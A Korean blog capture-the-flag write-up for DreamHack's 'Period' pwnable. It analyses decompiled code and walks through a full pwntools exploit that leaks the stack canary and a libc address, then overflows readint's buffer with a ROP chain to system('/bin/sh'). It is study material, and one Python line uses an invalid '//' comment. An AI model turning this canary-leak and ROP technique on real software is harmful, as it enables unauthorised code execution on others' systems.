본문 바로가기

Hacking/DreamHack

Period (pwnable)

<시스템 해킹 공부용>

Flag 위치 파악

 

/home/pwn 에 flag 파일 존재

 

─# file prob
prob: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd01c6ba6bd49e095d939c0c6b30165c0d8b54d7, for GNU/Linux 3.2.0, not stripped

 

└─# checksec --file=prob
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   49 Symbols        No    0      2prob

 

소스코드 분석


void run(void)

{
  int iVar1;
  long in_FS_OFFSET;
  undefined1 local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  writeln("Mirin, It\'s the End of Period with Period.");
  local_118[0] = 0x2e;
  while( true ) {
    while( true ) {
      writeln("1: read.");
      writeln("2: write.");
      writeln("3: clear.");
      write(1,&DAT_00102058,2);
      iVar1 = readint();
      if (iVar1 != 3) break;
      cleara(local_118,0x100);
    }
    if (3 < iVar1) break;
    if (iVar1 == 1) {
      writeln("Read: .");
      writeln(local_118);
    }
    else {
      if (iVar1 != 2) break;
      writeln("Write: .");
      readln(local_118);
    }
  }
  writeln("Invalid Command.");
  writeln("Finally, Just Watch the Curtain Fall.");
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

 

위 run 함수의 writeln과 readln 함수는 local_118 각 . 이 나올때 까지 읽거나 쓰되, 버퍼 사이즈는 264바이트로 나와있지만, 

cleara 함수에서 256 바이트만 초기화 하는 것으로 보아, 8바이트는 패딩 사이즈

 

 

int readint()
{
  char nptr[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  readln((__int64)nptr);
  return atoi(nptr);
}

__int64 __fastcall readln(__int64 a1)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 255; ++i )
  {
    read(0, (void *)(i + a1), 1uLL);
    result = *(unsigned __int8 *)(i + a1);
    if ( (_BYTE)result == 46 )
      break;
  }
  return result;
}


ssize_t __fastcall writeln(__int64 a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    write(1, (const void *)(i + a1), 1uLL);
    if ( *(_BYTE *)(i + a1) == 46 )
      break;
  }
  return write(1, &unk_2008, 1uLL);
}

 

 

공격

해당 프로그램은 canary 가 있기 때문에 canary 를 우회 해야 되며, ROP 체인으로 쉘따기 수행 

from pwn import *
context.arch = "amd64"
BINARY_PATH = "./prob"

  
//p = remote("host3.dreamhack.games", 12823)
p = process(BINARY_PATH)

원격 혹은 로컬 실행 옵션 작성

 

p.sendafter("> ", "2.")
p.sendafter(":", "A" * 0x100)

2번 입력 후 A 0x100 입력 패딩 위치 전까지.

 

p.sendafter("> ", "1.")
p.recvuntil("A" * 0x100)
p.recv(8)  # padding

입력된 내용을 출력하고, canary  를 받기 위해 패딩 출력 

 

canary = u64(p.recv(8))
p.recv(0x18)  # 더미 padding

카나리 값 읽고, 리턴 어드레스 libc 주소 파악을 위해 더미 패딩

 

libc_leak = u64(p.recv(8))
libc_base = libc_leak - 0x29d90

offset 을 빼줘 libc_base 주소 확인

 

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = libc_base
rop = ROP(libc)
prdi = rop.rdi[0]  # pop rdi; ret gadget 주소

ROP 가젯 준비 

prdi 는 추후 bin/sh 인자 삽입을 위해 중요

 

payload = b"A" * 0x18           # 버퍼 padding readint() 버퍼 사이즈
payload += p64(canary)          # canary
payload += p64(0x0)             # old RBP 더미
payload += p64(prdi + 1)        # stack align용 ret
payload += p64(prdi)            # pop rdi; ret
payload += p64(next(libc.search(b"/bin/sh\x00")))  # "/bin/sh" 주소
payload += p64(libc.symbols["system"])

ROP Payload 구성

readint() 의 버퍼 오버 플로우를 사용한다.!

readinit()의 버퍼 사이즈는 24바이트인데, readint() 에서 호출하는 readln()의 버퍼사이즈는 264바이트

 

p.sendafter("> ", payload + b".")
p.interactive()

쉡 진입 수행

 

 

'Hacking > DreamHack' 카테고리의 다른 글

pharmacy  (0) 2025.05.04
PTML  (0) 2025.05.04
Movie time table (WEB)  (0) 2025.04.01
r-xor-t  (0) 2024.09.05
[CodeEngn] Malware L08  (1) 2024.09.04